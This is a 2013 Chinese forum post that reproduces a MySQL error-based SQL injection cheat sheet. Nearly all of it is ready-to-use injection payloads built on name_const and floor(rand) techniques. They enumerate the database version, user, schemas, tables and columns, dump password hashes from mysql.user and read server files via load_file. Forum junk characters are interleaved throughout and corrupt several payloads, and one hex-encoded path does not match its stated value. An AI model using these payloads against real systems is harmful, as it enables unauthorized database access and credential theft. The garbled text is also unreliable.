本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
, |; U5 V0 f) C- R* F3 O# }, {0 W9 R, w5 G4 a
$ T4 X" S5 w; y2 _* xMysql暴错注入参考(pdf),每天一贴。。。4 A4 h Z" }, A) X
2 E& s8 G$ {$ R: F$ JMySql Error Based Injection Reference# J/ v) p& m3 I
[Mysql暴错注入参考]
$ z! t5 b' }0 H9 `( h) WAuthornig0s1992
+ B+ P) ` s3 `5 O4 M$ @Blog:http://pnig0s1992.blog.51cto.com/4 P5 r9 ~4 f* k% D5 \
TeAm:http://www.FreeBuf.com/
# |/ O. e+ V1 F/ F& D9 FMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
5 V1 `# ]6 y8 q+ G小部分版本使用name_const()时会报错.可以用给出的Method.2测试2 v1 p# W7 F6 w+ e8 z1 C
查询版本:
) ~0 y# n( Z+ Q7 s9 S5 FMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+& S n8 h, _3 J
join+(select+name_const(@@version,0))b)c)
; S! m6 _# V" w* u: Z2 n3 ^) t- j6 PMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro8 j- c- a. ]' I! ~4 e
up by a)b)/ t/ v) |5 o$ j4 a* i& A6 K; R
查询当前用户:6 m1 t2 E% Q( P7 {. |+ n
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
7 C. ?: ?0 D3 p0 ]- }Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r( ^: a6 {! S& t: @: v$ ~
and(0)*2))x+from+information_schema.tables+group+by+x)a): k8 |& Z- L; f! E
查询当前数据库:
+ G" g7 r3 c5 sMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c); |) e0 f# q5 y4 S, A( x6 [( @, C
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
) U& x3 |$ f b) L3 G; |or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
) y8 ^' \% |1 i5 v) u, h% u依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+8 W0 ~: w/ a. f8 L* E9 g
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n" S5 { ^' z9 r# O
顺序替换. l; ~) B+ d3 z- R$ h
爆指定库数目:
. D ]2 a0 V% dand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t! O% V2 y, A" B* D/ j
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
- N3 p8 i" e" @$ D) f+by+x)a)+and+1=1 0x6D7973716C=mysql; h& z1 U0 l# z$ ~6 C, Y9 m$ M
依次爆表:4 @! {& d4 B/ ~( X0 O I
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
* ~; t- b3 @1 U/ f8 s3 m* e: [able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
$ j; @9 x8 j. U8 I, h& a5 B5 p3 lbles+group+by+x)a)+and+1=1: X! n, `4 T* c4 M( {: r
0x6D7973716C=Mysql 将n顺序替换4 U! e( v( x& }4 x
爆表内字段数目:
9 g0 Z* J: Q# X/ Tand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
" z; \7 |, k' l* }9 h+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
! M/ K, B% ^2 f9 f9 Z0 q6 u0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
6 o# E* {2 J, L/ J依次爆字段:' q$ j- b y7 B# Q: v5 U( O
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
0 c L( h) v& C6 i2 [. M+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1, l8 o6 h, {1 T, a( D
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换) r$ q. g% m2 G" V* x+ @
依次暴内容:
- |2 C& h4 c8 |: K U6 aand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
5 d8 r1 K$ v+ k9 ~$ Dma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
8 l1 K/ n+ j% x将n顺序替换8 g9 B M* ^! O: Q2 n3 y3 \
爆文件内容:5 M& {7 O( Y# v- p9 X: o
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a) x& M- X( l- ^+ t5 J& X& G9 u9 v1 h) C
from+information_schema.tables+group+by+a)b)
; B6 ]: `: }3 H% f1 l0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节1 _ X/ c( F3 m& I
Thx for reading.9 z2 U! r. V# x! P$ w! t# Z# _/ M
% I$ T) b3 v4 P/ H不要下载也可以,
! \. G5 C4 s% U |